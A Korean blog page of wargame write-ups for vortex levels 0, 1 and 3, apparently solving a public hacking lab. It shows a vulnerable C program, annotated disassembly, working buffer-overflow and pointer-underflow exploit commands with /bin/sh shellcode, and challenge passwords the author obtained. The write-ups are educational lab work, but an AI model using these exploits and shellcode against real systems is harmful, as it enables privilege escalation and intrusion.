Search results for 'vortex'

  1. 2009.10.03 -- vortex level3
  2. 2009.09.24 -- vortex level1
  3. 2009.09.23 -- vortex level0

vortex level3

2009. 10. 3. 06:07

*
* 0xbadc0ded.org Challenge #02 (2003-07-08)
*
* Joel Eriksson <je@0xbadc0ded.org>
*/

#include <string.h>
#include <stdlib.h>
#include <stdio.h>

  unsigned long val = 31337;
  unsigned long *lp = &val;
 
 int main(int argc, char **argv)
{
        unsigned long **lpp = &lp, *tmp;
         char buf[128];
         if (argc != 2)
             exit(1);
        strcpy(buf, argv[1]);

        if (((unsigned long) lpp & 0xffff0000) != 0x08040000)
               exit(2);
        tmp = *lpp;
       **lpp = (unsigned long) &buf;
         *lpp = tmp;
         exit(0);
}

level3의 소스. strcpy를 이용한 BOF 가 가능할 것으로 보인다. 서버에서 디버깅을 해보았다.

0x0804835c <main+0>:    push   %ebp
0x0804835d <main+1>:    mov    %esp,%ebp
0x0804835f <main+3>:    sub    $0x98,%esp             스택을 0x98만큼 확장
0x08048365 <main+9>:    and    $0xfffffff0,%esp       
0x08048368 <main+12>:    mov    $0x0,%eax           
0x0804836d <main+17>:    sub    %eax,%esp
0x0804836f <main+19>:    movl   $0x80494a0,-0xc(%ebp)    0x80494a0 의 값을 lpp(ebp) -12 에 넣는다.
0x08048376 <main+26>:    cmpl   $0x2,0x8(%ebp)               argc(ebp + 8)와 2를 비교
0x0804837a <main+30>:    je     0x8048386 <main+42>         
0x0804837c <main+32>:    sub    $0xc,%esp
0x0804837f <main+35>:    push   $0x1
0x08048381 <main+37>:    call   0x804828c exit@plt      argc가 2가 아니면 exit 호출.
0x08048386 <main+42>:    sub    $0x8,%esp                     
0x08048389 <main+45>:    mov    0xc(%ebp),%eax           argv[0]을 eax에 넣는다.
0x0804838c <main+48>:    add    $0x4,%eax                    argv[0] + 4
0x0804838f <main+51>:    pushl  (%eax)                           argv[1]의 주소를  스택에 넣는다.
0x08048391 <main+53>:    lea    -0x98(%ebp),%eax         ebp - 0x98 (152) 의 주소를 eax에 push
0x08048397 <main+59>:    push   %eax                            
0x08048398 <main+60>:    call   0x804829c <strcpy@plt>     strcpy 호출
0x0804839d <main+65>:    add    $0x10,%esp
0x080483a0 <main+68>:    mov    -0xc(%ebp),%eax            lpp 를 eax로 옮기고
0x080483a3 <main+71>:    and    $0xffff0000,%eax          0xffff0000 와 and 연산
0x080483a8 <main+76>:    cmp    $0x8040000,%eax       0x8040000 와 같으면
0x080483ad <main+81>:    je     0x80483b9 <main+93>   main + 93 으로 jump
0x080483af <main+83>:    sub    $0xc,%esp             
0x080483b2 <main+86>:    push   $0x2                           
0x080483b4 <main+88>:    call   0x804828c <exit@plt>     exit(2);
0x080483b9 <main+93>:    mov    -0xc(%ebp),%eax          lpp를 eax로
0x080483bc <main+96>:   mov    (%eax),%eax                lpp가 가리키는 값을 eax로 넣는다
0x080483be <main+98>:    mov    %eax,-0x10(%ebp)       eax 를 ebp - 0x10으로 (tmp = *lpp)
0x080483c1 <main+101>:    mov    -0xc(%ebp),%eax
0x080483c4 6 <main+106>:    lea    -0x98(%ebp),%eax      buf의 주소(ebp - 98)를 eax에 넣는다
0x080483cc <main+112>:    mov    %eax,(%edx)             eax를 edx가 포인팅하는 주소로(**lpp = &buf)
0x080483ce <main+114>:    mov    -0xc(%ebp),%edx      lpp를 edx로
0x080483d1 <main+117>:    mov    -0x10(%ebp),%eax   tmp를 eax로
0x080483d4 <main+120>:    mov    %eax,(%edx)          tmp의 값을 lpp가 가키리는 곳에 넣는다 *lpp = tmp
0x080483d6 <main+122>:    sub    $0xc,%esp
0x080483d9 <main+125>:    push   $0x0
0x080483db <main+127>:    call   0x804828c <exit@plt>
End of assembler dump

스택의 모습을 그려보면 아래와 같다.

[buf ] [ dummy] [ tmp ] [ lpp ] [ dummy ] [ebp] [ret]
  128          8           4           4          8           4       4 


먼저 기본적인 BOF를 시도해보았다.

[shellcode] [NULL] [lpp] [padding][shellcode`s address]
     34              106     4           12                  4


/vortex/level3 `python -c "print '\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1
\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f
\x62\x69\x89\xe3\x89\xd1\xcd\x80'+'\x90'*106+'\xa0\x94\x04\x08'
+'\x90'*12+'\x40\xf5\x7f\xbf'"`

Shellcode는 shell-storm.org에서 setreuid 를 사용한 34 바이트 짜리를 사용.
(http://www.shell-storm.org/shellcode/files/shellcode-399.php)

세그먼트 폴트가 발생하며 종료되었다. 확인해보니 return address 가  buf의 주소로 바뀌었지만 쉘은 떨어
지지 않았다. 아마도 exit 함수로 바로 종료되기 때문일 것이다.

문제에 첨부된 문서대로 DTOR_END를 이용해보자

DTOR_END의 주소는 08049574에서 4를 더한 08049578 이다.

[shellcode] [NULL] [lpp]

/vortex/level3 `python -c "print '\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89
\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68
\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80'+'\x90'*106+'\x78\x95\x04
\x08
'
"`

위와 같이 실행하면 0x080483cc 에서 세그 폴트가 발생한다.  0x080483cc는 바로 이 부분이다.

**lpp = (unsigned long) &buf;

DTOR_END의 주소인 08049578을 그대로 써주면 이 주소에 있는 값인 0 이 포인팅하는 곳에 값을 넣으려해서
 에러가 발생하게 된다. 원하는 곳을 가리키기 위해서 08049578를 가리키는 0804xxxx 주소가 필요하다.

어디서 이 주소를 구할수 있을까 한참을 삽질하다 스파게티코더님 블로그(http://semtle.tistory.com/146)
에서 원하는 정보를 얻을 수 있었다.

"용자여.. __DTOR_END__ 를 가리키고 있는 p.0 섹션이라는게 존재한답니다."

아 이런녀석이 있는지 전혀 몰랐다.. objdump로 .data 영역의 컨텐츠를 긁어봐도 p.0 섹션을 확인할 수 있다.



최종적으로 요렇게 입력해서 2YmgK1=jw 라는 패스워드를 겟

/vortex/level3 `python -c "print '\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80'+'\x90'*106+'\x98\x94\x04\x08'"`


 

'War game > vortex' 카테고리의 다른 글

vortex12  (0) 2014.01.02
Vortex11  (3) 2013.04.02
vortex level10  (0) 2011.04.18
vortex level8  (0) 2010.12.09
vortex level1  (0) 2009.09.24
vortex level0  (0) 2009.09.23

badcob War game/vortex

vortex level1

2009. 9. 24. 03:10

엉뚱하게 깊이 들어가서 상당히 헤멨다.

main함수에서 선언한 두 buf 와 ptr이 스택에 생성된 모습을 그려보면 쉽게 포인트를 잡을 수 있다.


unsigned char buf[512];
unsigned char *ptr = buf + (sizeof(buf)/2);
unsigned int x;


스택에 쌓인 모습은 대충 이런식일 것이다.


---------------         High addresss
ret
---------------
ebp
---------------
buf
---------------
ptr
---------------
x
---------------        Low address


ptr은 buf 의 주소 + 256 의 위치를 가르키고 있는데
case '\\': ptr--; break;  이 구문에 의해 ptr의 값을 낮출 수가 있다.
스택은 높은주소에서 낮은 주소로 자라기 떄문에 ptr의 값을 계속 낮추다 보면
buf의 영역을 넘어서 ptr을  자신을 가리키게 된다.


그 상태에서 아무 값이나 입력하면
default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
요기에 걸려서 ptr이 포인팅하는 곳, 즉 ptr의 주소에 입력한 값을 넣게 된다.


매크로 함수 e() 를 보자.


#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }


ptr과 0xff000000을 AND 연산해서 0xca000000과 같으면 { } 안의 구문을 실행 시켜 쉘을 획득하게 된다. 0xff는 11111111이므로  AND 연산해서 0xca가 나오는 것은 0xca 자신 뿐이다.

ptr은 buf + 256 의 주소값을 가지고 있어서 -257을 하면 ptr 자신을 가리킬 것이다.
주소값은 4바이트에 Little endian 이므로 16진수 형태로 CA 를 넣게되면  ptr 주소의 첫 1바이트를 바꿀 수 있어서 쉘을 얻을 수 있을 것이다.


처음엔 이렇게 시도를 해보았다.

  perl -e 'print "\\"x257,"\xca"'|./level1

그냥 All done 출력하고 끝이난다.  흠.. 기대한 결과가 나오질 않았다. 이상하다 싶어서 코드를 조금 수정해서 로컬에서 주소값을 찍어보았다.



원하는대로 주소가 ca로 시작하는 것을 볼 수 있다. 값을 더 입력해보면..


perl -e 'print "\\"x257,"\xca","\xca"'|./level1


 


오.. 쉘이 실행되는 것을 볼 수 있다. 왜 이런 현상이 생길까 곰곰히 생각해 보았다.
사실 문제를 풀때 코드를 자세하게 보지 않는 짓을 자주 저지른다. 이번에도 마찬가지였다.

default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break; 

default 구문에서 먼저 실행되고 나서 ptr에 x 를 집어 넣는다. 따라서 "\xca"를 입력하면 ptr의 값에
들어가게 되고, 
한번 더 입력하면 다시 default 문에 걸려서 e() function이 실행된다.  으.. 삽질을..

그런데 막상 타겟 서버에서 이렇게 입력하니 shell 이 잠시 떨어졌다가 바로 종료된다.
문제가 무엇일까 생각하다 You may need to consider how bash handles EOF.. 라는
힌트에 주목했다. 표준 출력을 파이프를 통해 입력으로 넘길때 EOF가 같이 넘어가서 바로
종료되는 듯 했다.


(perl -e 'print "\\"x257,"\xca","\xca"';cat)|./level1


따라서 표준 입력으로 집어넣을때 cat을 이용해서 종료되지 않도록 실행해 보았더니 쉘이
떨어졌다!!  README에 적힌대로 /etc/vortex_pass/vortex2 를 읽으면 23anbT\rE 라고
적힌 패스워드를 확인할 수 있다.

'War game > vortex' 카테고리의 다른 글

vortex12  (0) 2014.01.02
Vortex11  (3) 2013.04.02
vortex level10  (0) 2011.04.18
vortex level8  (0) 2010.12.09
vortex level3  (0) 2009.10.03
vortex level0  (0) 2009.09.23

badcob War game/vortex

vortex level0

2009. 9. 23. 00:24

  1. Your goal is to connect to port 5842 on vortex.labs.pulltheplug.org and read in 4 unsigned integers. Add these integers together and send back the results to get a username and password for level 1.

    level0의 목표는 서버에 접속해서 unsigend integer 4바이트를 읽어서 합친후에 서버로 전송해주면
    된다. 쉽게 클리어 할  수 있을 것이라 생각했는데 좀처럼 원하는 결과가 나오질 않았다.

    확인해 보니 recv 한 버퍼의  값들이 전부 이상하게 찍힌다. 자금까지 exploit를 만들때는

    unsigned
    char recv[512]= {0, };   
    .......
     if((str_len = read(sock, recv, 64))==0)
             
     error_handling("read() error!");

    위와 같이 unsigned char 형태의 배열을 read함수의 2번째 인자로 줘서 사용했다.
    역시나 이 코드를 사용했기에 읽어오는 부분을 한번 의심해 보았다.

    read 함수의 원형이다.

    ssize_t read(int filedes, void *buf, size_t nbytes);

    void *buf 를 보니 먼가 감이 왔다. 문제에서도 데이터형을 정확하게 알려준것도 의심스럽고 해서
    unsigned integer 로 선언해서 char *로 캐스팅하니 값이 제대로 찍혔다.

    Username : vortex1  Password:  Gq#qu3bF3


#include <stdio.h>  
#include <stdlib.h>  
#include <arpa/inet.h>  
#include <unistd.h>  
#include <string.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <netdb.h>


#define SERVER "vortex.labs.pulltheplug.org"
#define PORT "5842"  
#define TRUE 1  

void error_handling(char *message);  

int main(int argc, char **argv) {  

    int sock;  

    int str_len;  
    int option;  
    socklen_t optlen;  

    struct hostent *myent;
    struct in_addr myen;
    long int *add;

    unsigned int number, count; 
    unsigned int total;

    struct sockaddr_in serv_addr;  

    /************* socket initialize and connect ****************/      


    if(!(myent = gethostbyname(SERVER)))
    {
        printf("gethostbyname error\n");
        exit(0);
    }

    add = (long int*)*myent->h_addr_list;
    myen.s_addr = *add;
    
    sock=socket(PF_INET, SOCK_STREAM, 0);  
    if(sock == -1)  
        error_handling("socket() error");  

    optlen = sizeof(option);  
    option = TRUE;  

    setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &option, sizeof(option));  
    memset(&serv_addr, 0, sizeof(serv_addr));  

    serv_addr.sin_family=AF_INET;  
    serv_addr.sin_addr.s_addr=inet_addr(inet_ntoa(myen));  
    serv_addr.sin_port=htons(atoi(PORT));  

    if(connect(sock, (struct sockaddr*)&serv_addr,sizeof(serv_addr))<0)  
        error_handling("connect() error!");  

    /****************** main start ********************/  
    

    total = 0;
    count = 0;
    while(count <4){
    if((str_len = read(sock, (char *)&number, sizeof(unsigned int)))==0)     
        error_handling("read() error!");  

    printf("Message from server : %d \n", number);   

    memset(recv, 0x00, 64);
    count++;
    total += number;
    }

    printf("total = %d\n", total);
    
    if((str_len = write(sock, (char *)&total, sizeof(unsigned int))) == -1) ///write 1  
        error_handling("write() error");  
    
    if((str_len = read(sock, recv, 64))==0)     
        error_handling("read() error!");  

    printf("Message from server : %s \n", recv);   
   
    close(sock);  
    return 0;  
}  

void error_handling(char *message)  
{  
    fputs(message, stderr);  
    fputc('\n', stderr);  
    exit(1);  
}

'War game > vortex' 카테고리의 다른 글

vortex12  (0) 2014.01.02
Vortex11  (3) 2013.04.02
vortex level10  (0) 2011.04.18
vortex level8  (0) 2010.12.09
vortex level3  (0) 2009.10.03
vortex level1  (0) 2009.09.24

badcob War game/vortex